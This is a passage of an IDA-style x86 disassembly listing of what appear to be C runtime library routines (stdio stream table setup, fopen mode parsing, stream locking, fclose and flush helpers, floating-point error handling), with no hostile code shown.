loc_420A86:				; CODE XREF: .text:00420A57j
					; .text:00420A61j
		fld	qword ptr [ebp+8]
		push	ebx
		fadd	ds:dbl_429F30
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	qword ptr [ebp+8]
		fstp	qword ptr [esp]
		push	0Ch
		push	8
		jmp	short loc_420AE4
; ---------------------------------------------------------------------------

loc_420AA3:				; CODE XREF: .text:00420A4Cj
		call	sub_4253EB
		fstp	qword ptr [ebp-8]
		fld	qword ptr [ebp+8]
		pop	ecx
		fld	qword ptr [ebp-8]
		pop	ecx
		fucompp
		fnstsw	ax
		test	ah, 44h
		jp	short loc_420ACA

loc_420ABC:				; CODE XREF: .text:00420ACDj
		push	esi
		push	ebx
		call	sub_425554
		fld	qword ptr [ebp-8]
		pop	ecx
		pop	ecx
		jmp	short loc_420AEC
; ---------------------------------------------------------------------------

loc_420ACA:				; CODE XREF: .text:00420ABAj
		test	bl, 20h
		jnz	short loc_420ABC
		fld	qword ptr [ebp-8]
		push	ebx
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	qword ptr [ebp+8]
		fstp	qword ptr [esp]
		push	0Ch
		push	10h

loc_420AE4:				; CODE XREF: .text:00420AA1j
		call	sub_425333
		add	esp, 1Ch

loc_420AEC:				; CODE XREF: .text:00420A76j
					; .text:00420A84j ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_420AF0:				; CODE XREF: .text:0041D0E7j
					; .text:0041D118j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_433588
		call	sub_425554
		fld	qword ptr [ebp+8]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, [ebp+0Eh]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	qword ptr [esp]
		jnz	short loc_420B76
		call	sub_425426
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_420B59
		cmp	eax, 2
		jle	short loc_420B4B
		cmp	eax, 3
		jnz	short loc_420B59
		fld	qword ptr [ebp+8]
		push	ebx
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh
		call	sub_4252E0
		add	esp, 10h
		jmp	short loc_420BBF
; ---------------------------------------------------------------------------

loc_420B4B:				; CODE XREF: .text:00420B2Fj
		push	esi
		push	ebx
		call	sub_425554
		fld	qword ptr [ebp+8]
		pop	ecx
		pop	ecx
		jmp	short loc_420BBF
; ---------------------------------------------------------------------------

loc_420B59:				; CODE XREF: .text:00420B2Aj
					; .text:00420B34j
		fld	qword ptr [ebp+8]
		push	ebx
		fadd	ds:dbl_429F30
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	qword ptr [ebp+8]
		fstp	qword ptr [esp]
		push	0Bh
		push	8
		jmp	short loc_420BB7
; ---------------------------------------------------------------------------

loc_420B76:				; CODE XREF: .text:00420B1Fj
		call	sub_4253EB
		fstp	qword ptr [ebp-8]
		fld	qword ptr [ebp+8]
		pop	ecx
		fld	qword ptr [ebp-8]
		pop	ecx
		fucompp
		fnstsw	ax
		test	ah, 44h
		jp	short loc_420B9D

loc_420B8F:				; CODE XREF: .text:00420BA0j
		push	esi
		push	ebx
		call	sub_425554
		fld	qword ptr [ebp-8]
		pop	ecx
		pop	ecx
		jmp	short loc_420BBF
; ---------------------------------------------------------------------------

loc_420B9D:				; CODE XREF: .text:00420B8Dj
		test	bl, 20h
		jnz	short loc_420B8F
		fld	qword ptr [ebp-8]
		push	ebx
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	qword ptr [ebp+8]
		fstp	qword ptr [esp]
		push	0Bh
		push	10h

loc_420BB7:				; CODE XREF: .text:00420B74j
		call	sub_425333
		add	esp, 1Ch

loc_420BBF:				; CODE XREF: .text:00420B49j
					; .text:00420B57j ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_439580
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_420BD7
		mov	eax, 200h
		jmp	short loc_420BDD
; ---------------------------------------------------------------------------

loc_420BD7:				; CODE XREF: .text:00420BCEj
		cmp	eax, esi
		jge	short loc_420BE2
		mov	eax, esi

loc_420BDD:				; CODE XREF: .text:00420BD5j
		mov	ds:dword_439580, eax

loc_420BE2:				; CODE XREF: .text:00420BD9j
		push	4
		push	eax
		call	sub_421909
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ds:dword_438560, eax
		jnz	short loc_420C13
		push	4
		push	esi
		mov	ds:dword_439580, esi
		call	sub_421909
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ds:dword_438560, eax
		jnz	short loc_420C13
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_420C13:				; CODE XREF: .text:00420BF3j
					; .text:00420C0Cj
		xor	edx, edx
		mov	ecx, offset off_433590
		jmp	short loc_420C21
; ---------------------------------------------------------------------------

loc_420C1C:				; CODE XREF: .text:00420C30j
		mov	eax, ds:dword_438560

loc_420C21:				; CODE XREF: .text:00420C1Aj
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_433810
		jl	short loc_420C1C
		xor	ecx, ecx
		mov	edx, offset dword_4335A0

loc_420C39:				; CODE XREF: .text:00420C66j
		mov	esi, ecx
		mov	eax, ecx
		and	eax, 1Fh
		sar	esi, 5
		mov	esi, ds:dword_438460[esi*4]
		lea	eax, [eax+eax*8]
		mov	eax, [esi+eax*4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420C59
		test	eax, eax
		jnz	short loc_420C5C

loc_420C59:				; CODE XREF: .text:00420C53j
		or	dword ptr [edx], 0FFFFFFFFh

loc_420C5C:				; CODE XREF: .text:00420C57j
		add	edx, 20h
		inc	ecx
		cmp	edx, offset dword_433600
		jl	short loc_420C39
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_420C6C:				; DATA XREF: .text:00433064o
		call	sub_421309
		cmp	ds:byte_435694,	0
		jz	short locret_420C7F
		jmp	loc_4255CE
; ---------------------------------------------------------------------------

locret_420C7F:				; CODE XREF: .text:00420C78j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_420C80	proc near		; CODE XREF: sub_41D3E7+13p
					; sub_41D4C3+27p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_433590
		cmp	eax, ecx
		jb	short loc_420CA4
		cmp	eax, offset dword_4337F0
		ja	short loc_420CA4
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_41E983
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420CA4:				; CODE XREF: sub_420C80+Bj
					; sub_420C80+12j
		add	eax, 20h
		push	eax
		call	ds:dword_429130	; RtlEnterCriticalSection
		retn
sub_420C80	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CAF	proc near		; CODE XREF: sub_420E8C+66p
					; sub_421234+44p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_420CC3
		add	eax, 10h
		push	eax
		call	sub_41E983
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420CC3:				; CODE XREF: sub_420CAF+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_429130	; RtlEnterCriticalSection
		retn
sub_420CAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CD2	proc near		; CODE XREF: sub_41D3CA+3p
					; sub_41D43B+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_433590
		cmp	eax, ecx
		jb	short loc_420CF6
		cmp	eax, offset dword_4337F0
		ja	short loc_420CF6
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_41E8CE
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420CF6:				; CODE XREF: sub_420CD2+Bj
					; sub_420CD2+12j
		add	eax, 20h
		push	eax
		call	ds:dword_42912C	; RtlLeaveCriticalSection
		retn
sub_420CD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D01	proc near		; CODE XREF: sub_420E8C+7Dp
					; sub_4212D4+9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_420D15
		add	eax, 10h
		push	eax
		call	sub_41E8CE
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420D15:				; CODE XREF: sub_420D01+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_42912C	; RtlLeaveCriticalSection
		retn
sub_420D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D24	proc near		; CODE XREF: sub_41D378+35p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_4356D4
		push	edi
		mov	edi, [ebp+arg_4]
		mov	al, [edi]
		xor	ebx, ebx
		cmp	al, 61h
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jz	short loc_420D5D
		cmp	al, 72h
		jz	short loc_420D56
		cmp	al, 77h
		jnz	loc_420E69
		mov	ecx, 301h
		jmp	short loc_420D62
; ---------------------------------------------------------------------------

loc_420D56:				; CODE XREF: sub_420D24+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_420D65
; ---------------------------------------------------------------------------

loc_420D5D:				; CODE XREF: sub_420D24+1Dj
		mov	ecx, 109h

loc_420D62:				; CODE XREF: sub_420D24+30j
		or	esi, 2

loc_420D65:				; CODE XREF: sub_420D24+37j
		xor	edx, edx
		inc	edx
		jmp	loc_420E44
; ---------------------------------------------------------------------------

loc_420D6D:				; CODE XREF: sub_420D24+125j
		cmp	edx, ebx
		jz	loc_420E4F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_420DEE
		jz	short loc_420DE1
		sub	eax, 2Bh
		jz	short loc_420DCB
		sub	eax, 19h
		jz	short loc_420DC1
		sub	eax, 0Eh
		jz	short loc_420DAD
		dec	eax
		jnz	loc_420E26
		cmp	[ebp+var_4], ebx
		jnz	loc_420E26
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	loc_420E44
; ---------------------------------------------------------------------------

loc_420DAD:				; CODE XREF: sub_420D24+68j
		cmp	[ebp+var_4], ebx
		jnz	short loc_420E26
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	loc_420E44
; ---------------------------------------------------------------------------

loc_420DC1:				; CODE XREF: sub_420D24+63j
		test	cl, 40h
		jnz	short loc_420E26
		or	ecx, 40h
		jmp	short loc_420E44
; ---------------------------------------------------------------------------

loc_420DCB:				; CODE XREF: sub_420D24+5Ej
		test	cl, 2
		jnz	short loc_420E26
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_420E44
; ---------------------------------------------------------------------------

loc_420DE1:				; CODE XREF: sub_420D24+59j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_420E26
		or	ecx, eax
		jmp	short loc_420E44
; ---------------------------------------------------------------------------

loc_420DEE:				; CODE XREF: sub_420D24+57j
		sub	eax, 62h
		jz	short loc_420E39
		dec	eax
		jz	short loc_420E21
		sub	eax, 0Bh
		jz	short loc_420E0D
		sub	eax, 6
		jnz	short loc_420E26
		test	ch, 0C0h
		jnz	short loc_420E26
		or	ecx, 4000h
		jmp	short loc_420E44
; ---------------------------------------------------------------------------

loc_420E0D:				; CODE XREF: sub_420D24+D5j
		cmp	[ebp+var_8], ebx
		jnz	short loc_420E26
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	short loc_420E44
; ---------------------------------------------------------------------------

loc_420E21:				; CODE XREF: sub_420D24+D0j
		cmp	[ebp+var_8], ebx
		jz	short loc_420E2A

loc_420E26:				; CODE XREF: sub_420D24+6Bj
					; sub_420D24+74j ...
		xor	edx, edx
		jmp	short loc_420E44
; ---------------------------------------------------------------------------

loc_420E2A:				; CODE XREF: sub_420D24+100j
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	short loc_420E44
; ---------------------------------------------------------------------------

loc_420E39:				; CODE XREF: sub_420D24+CDj
		test	ch, 0C0h
		jnz	short loc_420E26
		or	ecx, 8000h

loc_420E44:				; CODE XREF: sub_420D24+44j
					; sub_420D24+84j ...
		inc	edi
		mov	al, [edi]
		cmp	al, bl
		jnz	loc_420D6D

loc_420E4F:				; CODE XREF: sub_420D24+4Bj
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_421E86
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_420E6D

loc_420E69:				; CODE XREF: sub_420D24+25j
		xor	eax, eax
		jmp	short loc_420E87
; ---------------------------------------------------------------------------

loc_420E6D:				; CODE XREF: sub_420D24+143j
		mov	eax, [ebp+arg_C]
		inc	ds:dword_4356C0
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_420E87:				; CODE XREF: sub_420D24+147j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420D24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E8C	proc near		; CODE XREF: sub_41D378+Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_429F38
		call	__SEH_prolog
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi

loc_420EAC:				; CODE XREF: sub_420E8C+85j
		mov	[ebp+var_20], esi
		cmp	esi, ds:dword_439580
		jge	loc_420F7B
		mov	eax, ds:dword_438560
		mov	eax, [eax+esi*4]
		cmp	eax, ebx
		jz	short loc_420F17
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_420F10
		cmp	esi, 2
		jle	short loc_420EE9
		cmp	esi, 14h
		jge	short loc_420EE9
		lea	eax, [esi+10h]
		push	eax
		call	sub_41E8E3
		pop	ecx
		test	eax, eax
		jz	loc_420F7B

loc_420EE9:				; CODE XREF: sub_420E8C+44j
					; sub_420E8C+49j
		mov	eax, ds:dword_438560
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_420CAF
		pop	ecx
		pop	ecx
		mov	eax, ds:dword_438560
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_420F13
		push	eax
		push	esi
		call	sub_420D01
		pop	ecx
		pop	ecx

loc_420F10:				; CODE XREF: sub_420E8C+3Fj
		inc	esi
		jmp	short loc_420EAC
; ---------------------------------------------------------------------------

loc_420F13:				; CODE XREF: sub_420E8C+79j
		mov	edi, eax
		jmp	short loc_420F78
; ---------------------------------------------------------------------------

loc_420F17:				; CODE XREF: sub_420E8C+39j
		shl	esi, 2
		push	38h
		call	sub_41D0C4
		pop	ecx
		mov	ecx, ds:dword_438560
		mov	[esi+ecx], eax
		mov	eax, ds:dword_438560
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_420F7B
		push	0FA0h
		add	eax, 20h
		push	eax
		call	sub_423F72
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, ds:dword_438560
		jnz	short loc_420F63
		push	dword ptr [esi+eax]
		call	sub_41C2DD
		pop	ecx
		mov	eax, ds:dword_438560
		mov	[esi+eax], ebx
		jmp	short loc_420F7B
; ---------------------------------------------------------------------------

loc_420F63:				; CODE XREF: sub_420E8C+C2j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_429130	; RtlEnterCriticalSection
		mov	eax, ds:dword_438560
		mov	edi, [esi+eax]

loc_420F78:				; CODE XREF: sub_420E8C+89j
		mov	[ebp+var_1C], edi

loc_420F7B:				; CODE XREF: sub_420E8C+29j
					; sub_420E8C+57j ...
		cmp	edi, ebx
		jz	short loc_420F91
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh

loc_420F91:				; CODE XREF: sub_420E8C+F1j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_420FA5
		mov	eax, edi
		call	__SEH_epilog
		retn
sub_420E8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FA2	proc near		; DATA XREF: .text:stru_429F38o
		mov	edi, [ebp-1Ch]
sub_420FA2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420FA5	proc near		; CODE XREF: sub_420E8C+109p
		push	1
		call	sub_41E8CE
		pop	ecx
		retn
sub_420FA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAE	proc near		; CODE XREF: sub_41D3E7+1Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_424160
		test	eax, eax
		pop	ecx
		jz	short loc_421032
		cmp	esi, offset dword_4335B0
		jnz	short loc_420FCC
		xor	eax, eax
		jmp	short loc_420FD7
; ---------------------------------------------------------------------------

loc_420FCC:				; CODE XREF: sub_420FAE+18j
		cmp	esi, offset dword_4335D0
		jnz	short loc_421032
		xor	eax, eax
		inc	eax

loc_420FD7:				; CODE XREF: sub_420FAE+1Cj
		inc	ds:dword_4356C0
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_421032
		push	ebx
		push	edi
		lea	edi, ds:4356C4h[eax*4]
		cmp	dword ptr [edi], 0
		mov	ebx, 1000h
		jnz	short loc_421018
		push	ebx
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_421018
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_421025
; ---------------------------------------------------------------------------

loc_421018:				; CODE XREF: sub_420FAE+48j
					; sub_420FAE+55j
		mov	edi, [edi]
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+18h], ebx
		mov	[esi+4], ebx

loc_421025:				; CODE XREF: sub_420FAE+68j
		or	word ptr [esi+0Ch], 1102h
		pop	edi
		xor	eax, eax
		pop	ebx
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421032:				; CODE XREF: sub_420FAE+10j
					; sub_420FAE+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420FAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421036	proc near		; CODE XREF: sub_41D3E7+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short locret_42105F
		push	esi
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42105E
		push	esi
		call	sub_4211A9
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx

loc_42105E:				; CODE XREF: sub_421036+10j
		pop	esi

locret_42105F:				; CODE XREF: sub_421036+5j
		retn
sub_421036	endp


; =============== S U B	R O U T	I N E =======================================



sub_421060	proc near		; CODE XREF: sub_4210E3+4Cp
					; sub_421B9F+2DCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_425764
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4210AE
		cmp	esi, 1
		jz	short loc_42107C
		cmp	esi, 2
		jnz	short loc_421092

loc_42107C:				; CODE XREF: sub_421060+15j
		push	2
		call	sub_425764
		push	1
		mov	edi, eax
		call	sub_425764
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_4210AE

loc_421092:				; CODE XREF: sub_421060+1Aj
		push	esi
		call	sub_425764
		pop	ecx
		push	eax
		call	ds:dword_4290F0	; CloseHandle
		test	eax, eax
		jnz	short loc_4210AE
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_4210B0
; ---------------------------------------------------------------------------

loc_4210AE:				; CODE XREF: sub_421060+10j
					; sub_421060+30j ...
		xor	edi, edi

loc_4210B0:				; CODE XREF: sub_421060+4Cj
		push	esi
		call	sub_4256E5
		mov	eax, esi
		sar	eax, 5
		mov	eax, ds:dword_438460[eax*4]
		and	esi, 1Fh
		test	edi, edi
		pop	ecx
		lea	ecx, [esi+esi*8]
		mov	byte ptr [eax+ecx*4+4],	0
		jz	short loc_4210DE
		push	edi
		call	sub_4200C7
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_4210E0
; ---------------------------------------------------------------------------

loc_4210DE:				; CODE XREF: sub_421060+70j
		xor	eax, eax

loc_4210E0:				; CODE XREF: sub_421060+7Cj
		pop	edi
		pop	esi
		retn
sub_421060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E3	proc near		; CODE XREF: sub_41D477+20p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00421162 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_429F48
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, ds:dword_43844C
		jnb	short loc_421162
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:438460h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_421162
		push	ebx
		call	sub_4257A5
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_42113A
		push	ebx
		call	sub_421060
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_421149
; ---------------------------------------------------------------------------

loc_42113A:				; CODE XREF: sub_4210E3+49j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh

loc_421149:				; CODE XREF: sub_4210E3+55j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_42115A
		mov	eax, [ebp+var_1C]
		jmp	short loc_421178
sub_4210E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_421157	proc near		; DATA XREF: .text:stru_429F48o
		mov	ebx, [ebp+8]
sub_421157	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42115A	proc near		; CODE XREF: sub_4210E3+6Ap
		push	ebx
		call	sub_425845
		pop	ecx
		retn
sub_42115A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4210E3

loc_421162:				; CODE XREF: sub_4210E3+15j
					; sub_4210E3+35j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_421178:				; CODE XREF: sub_4210E3+72j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_4210E3

; =============== S U B	R O U T	I N E =======================================



sub_42117E	proc near		; CODE XREF: sub_41D477+18p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4211A7
		test	al, 8
		jz	short loc_4211A7
		push	dword ptr [esi+8]
		call	sub_41C2DD
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_4211A7:				; CODE XREF: sub_42117E+Aj
					; sub_42117E+Ej
		pop	esi
		retn
sub_42117E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4211A9	proc near		; CODE XREF: sub_41D477+10p
					; sub_41DB1A+7Dp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_4211F8
		test	ax, 108h
		jz	short loc_4211F8
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4211F7
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_422410
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_4211F0
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_4211F7
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_4211F7
; ---------------------------------------------------------------------------

loc_4211F0:				; CODE XREF: sub_4211A9+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_4211F7:				; CODE XREF: sub_4211A9+25j
					; sub_4211A9+3Dj ...
		pop	edi

loc_4211F8:				; CODE XREF: sub_4211A9+13j
					; sub_4211A9+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_4211A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421206	proc near		; CODE XREF: sub_421234+67p
					; sub_421234+82p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4211A9
		test	eax, eax
		pop	ecx
		jz	short loc_42121B
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_421206+Ej
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_421230
		push	dword ptr [esi+10h]
		call	sub_4259E3
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421230:				; CODE XREF: sub_421206+19j
		xor	eax, eax
		pop	esi
		retn
sub_421206	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421234	proc near		; CODE XREF: sub_421309+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004212E5 SIZE 0000001B BYTES

		push	14h
		push	offset stru_429F58
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_24], edi
		push	1
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi

loc_421255:				; CODE XREF: sub_421234+99j
		mov	[ebp+var_20], esi
		cmp	esi, ds:dword_439580
		jge	loc_4212E5
		mov	eax, ds:dword_438560
		mov	eax, [eax+esi*4]
		cmp	eax, edi
		jz	short loc_4212CC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4212CC
		push	eax
		push	esi
		call	sub_420CAF
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, ds:dword_438560
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4212C4
		cmp	[ebp+arg_0], edx
		jnz	short loc_4212AB
		push	eax
		call	sub_421206
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212C4
		inc	[ebp+var_1C]
		jmp	short loc_4212C4
; ---------------------------------------------------------------------------

loc_4212AB:				; CODE XREF: sub_421234+64j
		cmp	[ebp+arg_0], edi
		jnz	short loc_4212C4
		test	cl, 2
		jz	short loc_4212C4
		push	eax
		call	sub_421206
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4212C4
		or	[ebp+var_24], eax

loc_4212C4:				; CODE XREF: sub_421234+5Fj
					; sub_421234+70j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_4212D4

loc_4212CC:				; CODE XREF: sub_421234+3Aj
					; sub_421234+40j
		inc	esi
		jmp	short loc_421255
sub_421234	endp


; =============== S U B	R O U T	I N E =======================================



sub_4212CF	proc near		; DATA XREF: .text:00429F6Co
		xor	edi, edi
		mov	esi, [ebp-20h]
sub_4212CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4212D4	proc near		; CODE XREF: sub_421234+93p
		mov	eax, ds:dword_438560
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_420D01
		pop	ecx
		pop	ecx
		retn
sub_4212D4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_421234

loc_4212E5:				; CODE XREF: sub_421234+2Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_421300
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_4212FA
		mov	eax, [ebp+var_24]

loc_4212FA:				; CODE XREF: sub_421234+C1j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_421234

; =============== S U B	R O U T	I N E =======================================



sub_421300	proc near		; CODE XREF: sub_421234+B5p
					; DATA XREF: .text:stru_429F58o
		push	1
		call	sub_41E8CE
		pop	ecx
		retn
sub_421300	endp


; =============== S U B	R O U T	I N E =======================================



sub_421309	proc near		; CODE XREF: .text:loc_420C6Cp
		push	1
		call	sub_421234
